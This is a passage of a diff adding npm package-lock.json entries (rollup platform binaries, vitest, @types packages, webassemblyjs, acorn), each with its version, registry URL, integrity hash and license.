"sha512-lu90KG06NNH19shC5rBPkrh6mrTpq5kviFylPBXQVpdEu0yzb0mDgyxLr6XdcGdBIQTH/UAhDJnL+APZTBu1aQ==", 2071 + "cpu": [ 2072 + "x64" 2073 + ], 2074 + "dev": true, 2075 + "license": "MIT", 2076 + "optional": true, 2077 + "os": [ 2078 + "linux" 2079 + ] 2080 + }, 2081 + "node_modules/@rollup/rollup-openharmony-arm64": { 2082 + "version": "4.53.4", 2083 + "resolved": "https://registry.npmjs.org/@rollup/rollup-openharmony-arm64/-/rollup-openharmony-arm64-4.53.4.tgz", 2084 + "integrity": "sha512-dFDcmLwsUzhAm/dn0+dMOQZoONVYBtgik0VuY/d5IJUUb787L3Ko/ibvTvddqhb3RaB7vFEozYevHN4ox22R/w==", 2085 + "cpu": [ 2086 + "arm64" 2087 + ], 2088 + "dev": true, 2089 + "license": "MIT", 2090 + "optional": true, 2091 + "os": [ 2092 + "openharmony" 2093 + ] 2094 + }, 2095 + "node_modules/@rollup/rollup-win32-arm64-msvc": { 2096 + "version": "4.53.4", 2097 + "resolved": "https://registry.npmjs.org/@rollup/rollup-win32-arm64-msvc/-/rollup-win32-arm64-msvc-4.53.4.tgz", 2098 + "integrity": "sha512-WvUpUAWmUxZKtRnQWpRKnLW2DEO8HB/l8z6oFFMNuHndMzFTJEXzaYJ5ZAmzNw0L21QQJZsUQFt2oPf3ykAD/w==", 2099 + "cpu": [ 2100 + "arm64" 2101 + ], 2102 + "dev": true, 2103 + "license": "MIT", 2104 + "optional": true, 2105 + "os": [ 2106 + "win32" 2107 + ] 2108 + }, 2109 + "node_modules/@rollup/rollup-win32-ia32-msvc": { 2110 + "version": "4.53.4", 2111 + "resolved": "https://registry.npmjs.org/@rollup/rollup-win32-ia32-msvc/-/rollup-win32-ia32-msvc-4.53.4.tgz", 2112 + "integrity": "sha512-JGbeF2/FDU0x2OLySw/jgvkwWUo05BSiJK0dtuI4LyuXbz3wKiC1xHhLB1Tqm5VU6ZZDmAorj45r/IgWNWku5g==", 2113 + "cpu": [ 2114 + "ia32" 2115 + ], 2116 + "dev": true, 2117 + "license": "MIT", 2118 + "optional": true, 2119 + "os": [ 2120 + "win32" 2121 + ] 2122 + }, 2123 + "node_modules/@rollup/rollup-win32-x64-gnu": { 2124 + "version": "4.53.4", 2125 + "resolved": "https://registry.npmjs.org/@rollup/rollup-win32-x64-gnu/-/rollup-win32-x64-gnu-4.53.4.tgz", 2126 + "integrity": "sha512-zuuC7AyxLWLubP+mlUwEyR8M1ixW1ERNPHJfXm8x7eQNP4Pzkd7hS3qBuKBR70VRiQ04Kw8FNfRMF5TNxuZq2g==", 2127 + "cpu": [ 2128 + "x64" 2129 + ], 2130 + "dev": true, 2131 + "license": "MIT", 2132 + "optional": true, 2133 + "os": [ 2134 + "win32" 2135 + ] 2136 + }, 2137 + "node_modules/@rollup/rollup-win32-x64-msvc": { 2138 + "version": "4.53.4", 2139 + "resolved": "https://registry.npmjs.org/@rollup/rollup-win32-x64-msvc/-/rollup-win32-x64-msvc-4.53.4.tgz", 2140 + "integrity": "sha512-Sbx45u/Lbb5RyptSbX7/3deP+/lzEmZ0BTSHxwxN/IMOZDZf8S0AGo0hJD5n/LQssxb5Z3B4og4P2X6Dd8acCA==", 2141 + "cpu": [ 2142 + "x64" 2143 + ], 2144 + "dev": true, 2145 + "license": "MIT", 2146 + "optional": true, 2147 + "os": [ 2148 + "win32" 2149 + ] 2150 + }, 2151 + "node_modules/@sindresorhus/is": { 2152 + "version": "7.1.1", 2153 + "resolved": "https://registry.npmjs.org/@sindresorhus/is/-/is-7.1.1.tgz", 2154 + "integrity": "sha512-rO92VvpgMc3kfiTjGT52LEtJ8Yc5kCWhZjLQ3LwlA4pSgPpQO7bVpYXParOD8Jwf+cVQECJo3yP/4I8aZtUQTQ==", 2155 + "dev": true, 2156 + "license": "MIT", 2157 + "engines": { 2158 + "node": ">=18" 2159 + }, 2160 + "funding": { 2161 + "url": "https://github.com/sindresorhus/is?sponsor=1" 2162 + } 2163 + }, 2164 + "node_modules/@speed-highlight/core": { 2165 + "version": "1.2.12", 2166 + "resolved": "https://registry.npmjs.org/@speed-highlight/core/-/core-1.2.12.tgz", 2167 + "integrity": "sha512-uilwrK0Ygyri5dToHYdZSjcvpS2ZwX0w5aSt3GCEN9hrjxWCoeV4Z2DTXuxjwbntaLQIEEAlCeNQss5SoHvAEA==", 2168 + "dev": true, 2169 + "license": "CC0-1.0" 2170 + }, 2171 + "node_modules/@standard-schema/spec": { 2172 + "version": "1.0.0", 2173 + "resolved": "https://registry.npmjs.org/@standard-schema/spec/-/spec-1.0.0.tgz", 2174 + "integrity": "sha512-m2bOd0f2RT9k8QJx1JN85cZYyH1RqFBdlwtkSlf4tBDYLCiiZnv1fIIwacK6cqwXavOydf0NPToMQgpKq+dVlA==", 2175 + "dev": true, 2176 + "license": "MIT" 2177 + }, 2178 + "node_modules/@tybys/wasm-util": { 2179 + "version": "0.10.1", 2180 + "resolved": "https://registry.npmjs.org/@tybys/wasm-util/-/wasm-util-0.10.1.tgz", 2181 + "integrity": "sha512-9tTaPJLSiejZKx+Bmog4uSubteqTvFrVrURwkmHixBo0G4seD0zUxp98E1DzUBJxLQ3NPwXrGKDiVjwx/DpPsg==", 2182 + "dev": true, 2183 + "license": "MIT", 2184 + "optional": true, 2185 + "dependencies": { 2186 + "tslib": "^2.4.0" 2187 + } 2188 + }, 2189 + "node_modules/@types/babel__core": { 2190 + "version": "7.20.5", 2191 + "resolved": "https://registry.npmjs.org/@types/babel__core/-/babel__core-7.20.5.tgz", 2192 + "integrity": "sha512-qoQprZvz5wQFJwMDqeseRXWv3rqMvhgpbXFfVyWhbx9X47POIA6i/+dXefEmZKoAgOaTdaIgNSMqMIU61yRyzA==", 2193 + "dev": true, 2194 + "license": "MIT", 2195 + "dependencies": { 2196 + "@babel/parser": "^7.20.7", 2197 + "@babel/types": "^7.20.7", 2198 + "@types/babel__generator": "*", 2199 + "@types/babel__template": "*", 2200 + "@types/babel__traverse": "*" 2201 + } 2202 + }, 2203 + "node_modules/@types/babel__generator": { 2204 + "version": "7.27.0", 2205 + "resolved": "https://registry.npmjs.org/@types/babel__generator/-/babel__generator-7.27.0.tgz", 2206 + "integrity": "sha512-ufFd2Xi92OAVPYsy+P4n7/U7e68fex0+Ee8gSG9KX7eo084CWiQ4sdxktvdl0bOPupXtVJPY19zk6EwWqUQ8lg==", 2207 + "dev": true, 2208 + "license": "MIT", 2209 + "dependencies": { 2210 + "@babel/types": "^7.0.0" 2211 + } 2212 + }, 2213 + "node_modules/@types/babel__template": { 2214 + "version": "7.4.4", 2215 + "resolved": "https://registry.npmjs.org/@types/babel__template/-/babel__template-7.4.4.tgz", 2216 + "integrity": "sha512-h/NUaSyG5EyxBIp8YRxo4RMe2/qQgvyowRwVMzhYhBCONbW8PUsg4lkFMrhgZhUe5z3L3MiLDuvyJ/CaPa2A8A==", 2217 + "dev": true, 2218 + "license": "MIT", 2219 + "dependencies": { 2220 + "@babel/parser": "^7.1.0", 2221 + "@babel/types": "^7.0.0" 2222 + } 2223 + }, 2224 + "node_modules/@types/babel__traverse": { 2225 + "version": "7.28.0", 2226 + "resolved": "https://registry.npmjs.org/@types/babel__traverse/-/babel__traverse-7.28.0.tgz", 2227 + "integrity": "sha512-8PvcXf70gTDZBgt9ptxJ8elBeBjcLOAcOtoO/mPJjtji1+CdGbHgm77om1GrsPxsiE+uXIpNSK64UYaIwQXd4Q==", 2228 + "dev": true, 2229 + "license": "MIT", 2230 + "dependencies": { 2231 + "@babel/types": "^7.28.2" 2232 + } 2233 + }, 2234 + "node_modules/@types/chai": { 2235 + "version": "5.2.3", 2236 + "resolved": "https://registry.npmjs.org/@types/chai/-/chai-5.2.3.tgz", 2237 + "integrity": "sha512-Mw558oeA9fFbv65/y4mHtXDs9bPnFMZAL/jxdPFUpOHHIXX91mcgEHbS5Lahr+pwZFR8A7GQleRWeI6cGFC2UA==", 2238 + "dev": true, 2239 + "license": "MIT", 2240 + "dependencies": { 2241 + "@types/deep-eql": "*", 2242 + "assertion-error": "^2.0.1" 2243 + } 2244 + }, 2245 + "node_modules/@types/deep-eql": { 2246 + "version": "4.0.2", 2247 + "resolved": "https://registry.npmjs.org/@types/deep-eql/-/deep-eql-4.0.2.tgz", 2248 + "integrity": "sha512-c9h9dVVMigMPc4bwTvC5dxqtqJZwQPePsWjPlpSOnojbor6pGqdk541lfA7AqFQr5pB1BRdq0juY9db81BwyFw==", 2249 + "dev": true, 2250 + "license": "MIT" 2251 + }, 2252 + "node_modules/@types/eslint": { 2253 + "version": "9.6.1", 2254 + "resolved": "https://registry.npmjs.org/@types/eslint/-/eslint-9.6.1.tgz", 2255 + "integrity": "sha512-FXx2pKgId/WyYo2jXw63kk7/+TY7u7AziEJxJAnSFzHlqTAS3Ync6SvgYAN/k4/PQpnnVuzoMuVnByKK2qp0ag==", 2256 + "license": "MIT", 2257 + "peer": true, 2258 + "dependencies": { 2259 + "@types/estree": "*", 2260 + "@types/json-schema": "*" 2261 + } 2262 + }, 2263 + "node_modules/@types/eslint-scope": { 2264 + "version": "3.7.7", 2265 + "resolved": "https://registry.npmjs.org/@types/eslint-scope/-/eslint-scope-3.7.7.tgz", 2266 + "integrity": "sha512-MzMFlSLBqNF2gcHWO0G1vP/YQyfvrxZ0bF+u7mzUdZ1/xK4A4sru+nraZz5i3iEIk1l1uyicaDVTB4QbbEkAYg==", 2267 + "license": "MIT", 2268 + "peer": true, 2269 + "dependencies": { 2270 + "@types/eslint": "*", 2271 + "@types/estree": "*" 2272 + } 2273 + }, 2274 + "node_modules/@types/estree": { 2275 + "version": "1.0.8", 2276 + "resolved": "https://registry.npmjs.org/@types/estree/-/estree-1.0.8.tgz", 2277 + "integrity": "sha512-dWHzHa2WqEXI/O1E9OjrocMTKJl2mSrEolh1Iomrv6U+JuNwaHXsXx9bLu5gG7BUWFIN0skIQJQ/L1rIex4X6w==", 2278 + "license": "MIT" 2279 + }, 2280 + "node_modules/@types/json-schema": { 2281 + "version": "7.0.15", 2282 + "resolved": "https://registry.npmjs.org/@types/json-schema/-/json-schema-7.0.15.tgz", 2283 + "integrity": "sha512-5+fP8P8MFNC+AyZCDxrB2pkZFPGzqQWUzpSeuuVLvm8VMcorNYavBqoFcxK8bQz4Qsbn4oUEEem4wDLfcysGHA==", 2284 + "license": "MIT", 2285 + "peer": true 2286 + }, 2287 + "node_modules/@types/node": { 2288 + "version": "25.0.1", 2289 + "resolved": "https://registry.npmjs.org/@types/node/-/node-25.0.1.tgz", 2290 + "integrity": "sha512-czWPzKIAXucn9PtsttxmumiQ9N0ok9FrBwgRWrwmVLlp86BrMExzvXRLFYRJ+Ex3g6yqj+KuaxfX1JTgV2lpfg==", 2291 + "license": "MIT", 2292 + "peer": true, 2293 + "dependencies": { 2294 + "undici-types": "~7.16.0" 2295 + } 2296 + }, 2297 + "node_modules/@vitejs/plugin-react": { 2298 + "version": "5.1.2", 2299 + "resolved": "https://registry.npmjs.org/@vitejs/plugin-react/-/plugin-react-5.1.2.tgz", 2300 + "integrity": "sha512-EcA07pHJouywpzsoTUqNh5NwGayl2PPVEJKUSinGGSxFGYn+shYbqMGBg6FXDqgXum9Ou/ecb+411ssw8HImJQ==", 2301 + "dev": true, 2302 + "license": "MIT", 2303 + "dependencies": { 2304 + "@babel/core": "^7.28.5", 2305 + "@babel/plugin-transform-react-jsx-self": "^7.27.1", 2306 + "@babel/plugin-transform-react-jsx-source": "^7.27.1", 2307 + "@rolldown/pluginutils": "1.0.0-beta.53", 2308 + "@types/babel__core": "^7.20.5", 2309 + "react-refresh": "^0.18.0" 2310 + }, 2311 + "engines": { 2312 + "node": "^20.19.0 || >=22.12.0" 2313 + }, 2314 + "peerDependencies": { 2315 + "vite": "^4.2.0 || ^5.0.0 || ^6.0.0 || ^7.0.0" 2316 + } 2317 + }, 2318 + "node_modules/@vitest/browser": { 2319 + "version": "4.0.15", 2320 + "resolved": "https://registry.npmjs.org/@vitest/browser/-/browser-4.0.15.tgz", 2321 + "integrity": "sha512-zedtczX688KehaIaAv7m25CeDLb0gBtAOa2Oi1G1cqvSO5aLSVfH6lpZMJLW8BKYuWMxLQc9/5GYoM+jgvGIrw==", 2322 + "dev": true, 2323 + "license": "MIT", 2324 + "dependencies": { 2325 + "@vitest/mocker": "4.0.15", 2326 + "@vitest/utils": "4.0.15", 2327 + "magic-string": "^0.30.21", 2328 + "pixelmatch": "7.1.0", 2329 + "pngjs": "^7.0.0", 2330 + "sirv": "^3.0.2", 2331 + "tinyrainbow": "^3.0.3", 2332 + "ws": "^8.18.3" 2333 + }, 2334 + "funding": { 2335 + "url": "https://opencollective.com/vitest" 2336 + }, 2337 + "peerDependencies": { 2338 + "vitest": "4.0.15" 2339 + } 2340 + }, 2341 + "node_modules/@vitest/browser-playwright": { 2342 + "version": "4.0.15", 2343 + "resolved": "https://registry.npmjs.org/@vitest/browser-playwright/-/browser-playwright-4.0.15.tgz", 2344 + "integrity": "sha512-94yVpDbb+ykiT7mK6ToonGnq2GIHEQGBTZTAzGxBGQXcVNCh54YKC2/WkfaDzxy0m6Kgw05kq3FYHKHu+wRdIA==", 2345 + "dev": true, 2346 + "license": "MIT", 2347 + "dependencies": { 2348 + "@vitest/browser": "4.0.15", 2349 + "@vitest/mocker": "4.0.15", 2350 + "tinyrainbow": "^3.0.3" 2351 + }, 2352 + "funding": { 2353 + "url": "https://opencollective.com/vitest" 2354 + }, 2355 + "peerDependencies": { 2356 + "playwright": "*", 2357 + "vitest": "4.0.15" 2358 + }, 2359 + "peerDependenciesMeta": { 2360 + "playwright": { 2361 + "optional": false 2362 + } 2363 + } 2364 + }, 2365 + "node_modules/@vitest/expect": { 2366 + "version": "4.0.15", 2367 + "resolved": "https://registry.npmjs.org/@vitest/expect/-/expect-4.0.15.tgz", 2368 + "integrity": "sha512-Gfyva9/GxPAWXIWjyGDli9O+waHDC0Q0jaLdFP1qPAUUfo1FEXPXUfUkp3eZA0sSq340vPycSyOlYUeM15Ft1w==", 2369 + "dev": true, 2370 + "license": "MIT", 2371 + "dependencies": { 2372 + "@standard-schema/spec": "^1.0.0", 2373 + "@types/chai": "^5.2.2", 2374 + "@vitest/spy": "4.0.15", 2375 + "@vitest/utils": "4.0.15", 2376 + "chai": "^6.2.1", 2377 + "tinyrainbow": "^3.0.3" 2378 + }, 2379 + "funding": { 2380 + "url": "https://opencollective.com/vitest" 2381 + } 2382 + }, 2383 + "node_modules/@vitest/mocker": { 2384 + "version": "4.0.15", 2385 + "resolved": "https://registry.npmjs.org/@vitest/mocker/-/mocker-4.0.15.tgz", 2386 + "integrity": "sha512-CZ28GLfOEIFkvCFngN8Sfx5h+Se0zN+h4B7yOsPVCcgtiO7t5jt9xQh2E1UkFep+eb9fjyMfuC5gBypwb07fvQ==", 2387 + "dev": true, 2388 + "license": "MIT", 2389 + "dependencies": { 2390 + "@vitest/spy": "4.0.15", 2391 + "estree-walker": "^3.0.3", 2392 + "magic-string": "^0.30.21" 2393 + }, 2394 + "funding": { 2395 + "url": "https://opencollective.com/vitest" 2396 + }, 2397 + "peerDependencies": { 2398 + "msw": "^2.4.9", 2399 + "vite": "^6.0.0 || ^7.0.0-0" 2400 + }, 2401 + "peerDependenciesMeta": { 2402 + "msw": { 2403 + "optional": true 2404 + }, 2405 + "vite": { 2406 + "optional": true 2407 + } 2408 + } 2409 + }, 2410 + "node_modules/@vitest/pretty-format": { 2411 + "version": "4.0.15", 2412 + "resolved": "https://registry.npmjs.org/@vitest/pretty-format/-/pretty-format-4.0.15.tgz", 2413 + "integrity": "sha512-SWdqR8vEv83WtZcrfLNqlqeQXlQLh2iilO1Wk1gv4eiHKjEzvgHb2OVc3mIPyhZE6F+CtfYjNlDJwP5MN6Km7A==", 2414 + "dev": true, 2415 + "license": "MIT", 2416 + "dependencies": { 2417 + "tinyrainbow": "^3.0.3" 2418 + }, 2419 + "funding": { 2420 + "url": "https://opencollective.com/vitest" 2421 + } 2422 + }, 2423 + "node_modules/@vitest/runner": { 2424 + "version": "4.0.15", 2425 + "resolved": "https://registry.npmjs.org/@vitest/runner/-/runner-4.0.15.tgz", 2426 + "integrity": "sha512-+A+yMY8dGixUhHmNdPUxOh0la6uVzun86vAbuMT3hIDxMrAOmn5ILBHm8ajrqHE0t8R9T1dGnde1A5DTnmi3qw==", 2427 + "dev": true, 2428 + "license": "MIT", 2429 + "dependencies": { 2430 + "@vitest/utils": "4.0.15", 2431 + "pathe": "^2.0.3" 2432 + }, 2433 + "funding": { 2434 + "url": "https://opencollective.com/vitest" 2435 + } 2436 + }, 2437 + "node_modules/@vitest/snapshot": { 2438 + "version": "4.0.15", 2439 + "resolved": "https://registry.npmjs.org/@vitest/snapshot/-/snapshot-4.0.15.tgz", 2440 + "integrity": "sha512-A7Ob8EdFZJIBjLjeO0DZF4lqR6U7Ydi5/5LIZ0xcI+23lYlsYJAfGn8PrIWTYdZQRNnSRlzhg0zyGu37mVdy5g==", 2441 + "dev": true, 2442 + "license": "MIT", 2443 + "dependencies": { 2444 + "@vitest/pretty-format": "4.0.15", 2445 + "magic-string": "^0.30.21", 2446 + "pathe": "^2.0.3" 2447 + }, 2448 + "funding": { 2449 + "url": "https://opencollective.com/vitest" 2450 + } 2451 + }, 2452 + "node_modules/@vitest/spy": { 2453 + "version": "4.0.15", 2454 + "resolved": "https://registry.npmjs.org/@vitest/spy/-/spy-4.0.15.tgz", 2455 + "integrity": "sha512-+EIjOJmnY6mIfdXtE/bnozKEvTC4Uczg19yeZ2vtCz5Yyb0QQ31QWVQ8hswJ3Ysx/K2EqaNsVanjr//2+P3FHw==", 2456 + "dev": true, 2457 + "license": "MIT", 2458 + "funding": { 2459 + "url": "https://opencollective.com/vitest" 2460 + } 2461 + }, 2462 + "node_modules/@vitest/utils": { 2463 + "version": "4.0.15", 2464 + "resolved": "https://registry.npmjs.org/@vitest/utils/-/utils-4.0.15.tgz", 2465 + "integrity": "sha512-HXjPW2w5dxhTD0dLwtYHDnelK3j8sR8cWIaLxr22evTyY6q8pRCjZSmhRWVjBaOVXChQd6AwMzi9pucorXCPZA==", 2466 + "dev": true, 2467 + "license": "MIT", 2468 + "dependencies": { 2469 + "@vitest/pretty-format": "4.0.15", 2470 + "tinyrainbow": "^3.0.3" 2471 + }, 2472 + "funding": { 2473 + "url": "https://opencollective.com/vitest" 2474 + } 2475 + }, 2476 + "node_modules/@webassemblyjs/ast": { 2477 + "version": "1.14.1", 2478 + "resolved": "https://registry.npmjs.org/@webassemblyjs/ast/-/ast-1.14.1.tgz", 2479 + "integrity": "sha512-nuBEDgQfm1ccRp/8bCQrx1frohyufl4JlbMMZ4P1wpeOfDhF6FQkxZJ1b/e+PLwr6X1Nhw6OLme5usuBWYBvuQ==", 2480 + "license": "MIT", 2481 + "peer": true, 2482 + "dependencies": { 2483 + "@webassemblyjs/helper-numbers": "1.13.2", 2484 + "@webassemblyjs/helper-wasm-bytecode": "1.13.2" 2485 + } 2486 + }, 2487 + "node_modules/@webassemblyjs/floating-point-hex-parser": { 2488 + "version": "1.13.2", 2489 + "resolved": "https://registry.npmjs.org/@webassemblyjs/floating-point-hex-parser/-/floating-point-hex-parser-1.13.2.tgz", 2490 + "integrity": "sha512-6oXyTOzbKxGH4steLbLNOu71Oj+C8Lg34n6CqRvqfS2O71BxY6ByfMDRhBytzknj9yGUPVJ1qIKhRlAwO1AovA==", 2491 + "license": "MIT", 2492 + "peer": true 2493 + }, 2494 + "node_modules/@webassemblyjs/helper-api-error": { 2495 + "version": "1.13.2", 2496 + "resolved": "https://registry.npmjs.org/@webassemblyjs/helper-api-error/-/helper-api-error-1.13.2.tgz", 2497 + "integrity": "sha512-U56GMYxy4ZQCbDZd6JuvvNV/WFildOjsaWD3Tzzvmw/mas3cXzRJPMjP83JqEsgSbyrmaGjBfDtV7KDXV9UzFQ==", 2498 + "license": "MIT", 2499 + "peer": true 2500 + }, 2501 + "node_modules/@webassemblyjs/helper-buffer": { 2502 + "version": "1.14.1", 2503 + "resolved": "https://registry.npmjs.org/@webassemblyjs/helper-buffer/-/helper-buffer-1.14.1.tgz", 2504 + "integrity": "sha512-jyH7wtcHiKssDtFPRB+iQdxlDf96m0E39yb0k5uJVhFGleZFoNw1c4aeIcVUPPbXUVJ94wwnMOAqUHyzoEPVMA==", 2505 + "license": "MIT", 2506 + "peer": true 2507 + }, 2508 + "node_modules/@webassemblyjs/helper-numbers": { 2509 + "version": "1.13.2", 2510 + "resolved": "https://registry.npmjs.org/@webassemblyjs/helper-numbers/-/helper-numbers-1.13.2.tgz", 2511 + "integrity": "sha512-FE8aCmS5Q6eQYcV3gI35O4J789wlQA+7JrqTTpJqn5emA4U2hvwJmvFRC0HODS+3Ye6WioDklgd6scJ3+PLnEA==", 2512 + "license": "MIT", 2513 + "peer": true, 2514 + "dependencies": { 2515 + "@webassemblyjs/floating-point-hex-parser": "1.13.2", 2516 + "@webassemblyjs/helper-api-error": "1.13.2", 2517 + "@xtuc/long": "4.2.2" 2518 + } 2519 + }, 2520 + "node_modules/@webassemblyjs/helper-wasm-bytecode": { 2521 + "version": "1.13.2", 2522 + "resolved": "https://registry.npmjs.org/@webassemblyjs/helper-wasm-bytecode/-/helper-wasm-bytecode-1.13.2.tgz", 2523 + "integrity": "sha512-3QbLKy93F0EAIXLh0ogEVR6rOubA9AoZ+WRYhNbFyuB70j3dRdwH9g+qXhLAO0kiYGlg3TxDV+I4rQTr/YNXkA==", 2524 + "license": "MIT", 2525 + "peer": true 2526 + }, 2527 + "node_modules/@webassemblyjs/helper-wasm-section": { 2528 + "version": "1.14.1", 2529 + "resolved": "https://registry.npmjs.org/@webassemblyjs/helper-wasm-section/-/helper-wasm-section-1.14.1.tgz", 2530 + "integrity": "sha512-ds5mXEqTJ6oxRoqjhWDU83OgzAYjwsCV8Lo/N+oRsNDmx/ZDpqalmrtgOMkHwxsG0iI//3BwWAErYRHtgn0dZw==", 2531 + "license": "MIT", 2532 + "peer": true, 2533 + "dependencies": { 2534 + "@webassemblyjs/ast": "1.14.1", 2535 + "@webassemblyjs/helper-buffer": "1.14.1", 2536 + "@webassemblyjs/helper-wasm-bytecode": "1.13.2", 2537 + "@webassemblyjs/wasm-gen": "1.14.1" 2538 + } 2539 + }, 2540 + "node_modules/@webassemblyjs/ieee754": { 2541 + "version": "1.13.2", 2542 + "resolved": "https://registry.npmjs.org/@webassemblyjs/ieee754/-/ieee754-1.13.2.tgz", 2543 + "integrity": "sha512-4LtOzh58S/5lX4ITKxnAK2USuNEvpdVV9AlgGQb8rJDHaLeHciwG4zlGr0j/SNWlr7x3vO1lDEsuePvtcDNCkw==", 2544 + "license": "MIT", 2545 + "peer": true, 2546 + "dependencies": { 2547 + "@xtuc/ieee754": "^1.2.0" 2548 + } 2549 + }, 2550 + "node_modules/@webassemblyjs/leb128": { 2551 + "version": "1.13.2", 2552 + "resolved": "https://registry.npmjs.org/@webassemblyjs/leb128/-/leb128-1.13.2.tgz", 2553 + "integrity": "sha512-Lde1oNoIdzVzdkNEAWZ1dZ5orIbff80YPdHx20mrHwHrVNNTjNr8E3xz9BdpcGqRQbAEa+fkrCb+fRFTl/6sQw==", 2554 + "license": "Apache-2.0", 2555 + "peer": true, 2556 + "dependencies": { 2557 + "@xtuc/long": "4.2.2" 2558 + } 2559 + }, 2560 + "node_modules/@webassemblyjs/utf8": { 2561 + "version": "1.13.2", 2562 + "resolved": "https://registry.npmjs.org/@webassemblyjs/utf8/-/utf8-1.13.2.tgz", 2563 + "integrity": "sha512-3NQWGjKTASY1xV5m7Hr0iPeXD9+RDobLll3T9d2AO+g3my8xy5peVyjSag4I50mR1bBSN/Ct12lo+R9tJk0NZQ==", 2564 + "license": "MIT", 2565 + "peer": true 2566 + }, 2567 + "node_modules/@webassemblyjs/wasm-edit": { 2568 + "version": "1.14.1", 2569 + "resolved": "https://registry.npmjs.org/@webassemblyjs/wasm-edit/-/wasm-edit-1.14.1.tgz", 2570 + "integrity": "sha512-RNJUIQH/J8iA/1NzlE4N7KtyZNHi3w7at7hDjvRNm5rcUXa00z1vRz3glZoULfJ5mpvYhLybmVcwcjGrC1pRrQ==", 2571 + "license": "MIT", 2572 + "peer": true, 2573 + "dependencies": { 2574 + "@webassemblyjs/ast": "1.14.1", 2575 + "@webassemblyjs/helper-buffer": "1.14.1", 2576 + "@webassemblyjs/helper-wasm-bytecode": "1.13.2", 2577 + "@webassemblyjs/helper-wasm-section": "1.14.1", 2578 + "@webassemblyjs/wasm-gen": "1.14.1", 2579 + "@webassemblyjs/wasm-opt": "1.14.1", 2580 + "@webassemblyjs/wasm-parser": "1.14.1", 2581 + "@webassemblyjs/wast-printer": "1.14.1" 2582 + } 2583 + }, 2584 + "node_modules/@webassemblyjs/wasm-gen": { 2585 + "version": "1.14.1", 2586 + "resolved": "https://registry.npmjs.org/@webassemblyjs/wasm-gen/-/wasm-gen-1.14.1.tgz", 2587 + "integrity": "sha512-AmomSIjP8ZbfGQhumkNvgC33AY7qtMCXnN6bL2u2Js4gVCg8fp735aEiMSBbDR7UQIj90n4wKAFUSEd0QN2Ukg==", 2588 + "license": "MIT", 2589 + "peer": true, 2590 + "dependencies": { 2591 + "@webassemblyjs/ast": "1.14.1", 2592 + "@webassemblyjs/helper-wasm-bytecode": "1.13.2", 2593 + "@webassemblyjs/ieee754": "1.13.2", 2594 + "@webassemblyjs/leb128": "1.13.2", 2595 + "@webassemblyjs/utf8": "1.13.2" 2596 + } 2597 + }, 2598 + "node_modules/@webassemblyjs/wasm-opt": { 2599 + "version": "1.14.1", 2600 + "resolved": "https://registry.npmjs.org/@webassemblyjs/wasm-opt/-/wasm-opt-1.14.1.tgz", 2601 + "integrity": "sha512-PTcKLUNvBqnY2U6E5bdOQcSM+oVP/PmrDY9NzowJjislEjwP/C4an2303MCVS2Mg9d3AJpIGdUFIQQWbPds0Sw==", 2602 + "license": "MIT", 2603 + "peer": true, 2604 + "dependencies": { 2605 + "@webassemblyjs/ast": "1.14.1", 2606 + "@webassemblyjs/helper-buffer": "1.14.1", 2607 + "@webassemblyjs/wasm-gen": "1.14.1", 2608 + "@webassemblyjs/wasm-parser": "1.14.1" 2609 + } 2610 + }, 2611 + "node_modules/@webassemblyjs/wasm-parser": { 2612 + "version": "1.14.1", 2613 + "resolved": "https://registry.npmjs.org/@webassemblyjs/wasm-parser/-/wasm-parser-1.14.1.tgz", 2614 + "integrity": "sha512-JLBl+KZ0R5qB7mCnud/yyX08jWFw5MsoalJ1pQ4EdFlgj9VdXKGuENGsiCIjegI1W7p91rUlcB/LB5yRJKNTcQ==", 2615 + "license": "MIT", 2616 + "peer": true, 2617 + "dependencies": { 2618 + "@webassemblyjs/ast": "1.14.1", 2619 + "@webassemblyjs/helper-api-error": "1.13.2", 2620 + "@webassemblyjs/helper-wasm-bytecode": "1.13.2", 2621 + "@webassemblyjs/ieee754": "1.13.2", 2622 + "@webassemblyjs/leb128": "1.13.2", 2623 + "@webassemblyjs/utf8": "1.13.2" 2624 + } 2625 + }, 2626 + "node_modules/@webassemblyjs/wast-printer": { 2627 + "version": "1.14.1", 2628 + "resolved": "https://registry.npmjs.org/@webassemblyjs/wast-printer/-/wast-printer-1.14.1.tgz", 2629 + "integrity": "sha512-kPSSXE6De1XOR820C90RIo2ogvZG+c3KiHzqUoO/F34Y2shGzesfqv7o57xrxovZJH/MetF5UjroJ/R/3isoiw==", 2630 + "license": "MIT", 2631 + "peer": true, 2632 + "dependencies": { 2633 + "@webassemblyjs/ast": "1.14.1", 2634 + "@xtuc/long": "4.2.2" 2635 + } 2636 + }, 2637 + "node_modules/@xtuc/ieee754": { 2638 + "version": "1.2.0", 2639 + "resolved": "https://registry.npmjs.org/@xtuc/ieee754/-/ieee754-1.2.0.tgz", 2640 + "integrity": "sha512-DX8nKgqcGwsc0eJSqYt5lwP4DH5FlHnmuWWBRy7X0NcaGR0ZtuyeESgMwTYVEtxmsNGY+qit4QYT/MIYTOTPeA==", 2641 + "license": "BSD-3-Clause", 2642 + "peer": true 2643 + }, 2644 + "node_modules/@xtuc/long": { 2645 + "version": "4.2.2", 2646 + "resolved": "https://registry.npmjs.org/@xtuc/long/-/long-4.2.2.tgz", 2647 + "integrity": "sha512-NuHqBY1PB/D8xU6s/thBgOAiAP7HOYDQ32+BFZILJ8ivkUkAHQnWfn6WhL79Owj1qmUnoN/YPhktdIoucipkAQ==", 2648 + "license": "Apache-2.0", 2649 + "peer": true 2650 + }, 2651 + "node_modules/acorn": { 2652 + "version": "8.15.0", 2653 + "resolved": "https://registry.npmjs.org/acorn/-/acorn-8.15.0.tgz", 2654 + "integrity": "sha512-NZyJarBfL7nWwIq+FDL6Zp/yHEhePMNnnJ0y3qfieCrmNvYct8uvtiV41UvlSe6apAfk0fY1FbWx+NwfmpvtTg==", 2655 + "license": "MIT", 2656 + "bin": { 2657 + "acorn": "bin/acorn" 2658 + }, 2659 + "engines": { 2660 + "node": ">=0.4.0" 2661 + } 2662 + }, 2663 + "node_modules/acorn-import-phases": { 2664 + "version": "1.0.4", 2665 + "resolved": "https://registry.npmjs.org/acorn-import-phases/-/acorn-import-phases-1.0.4.tgz", 2666 + "integrity": "sha512-wKmbr/DDiIXzEOiWrTTUcDm24kQ2vGfZQvM2fwg2vXqR5uW6aapr7ObPtj1th32b9u90/Pf4AItvdTh42fBmVQ==", 2667 + "license": "MIT", 2668 + "peer": true, 2669 + "engines": { 2670 + "node": ">=10.13.0" 2671 + }, 2672 + "peerDependencies": { 2673 + "acorn": "^8.14.0" 2674 + } 2675 + }, 2676 + "node_modules/acorn-loose": { 2677 + "version": "8.5.2", 2678 + "resolved": 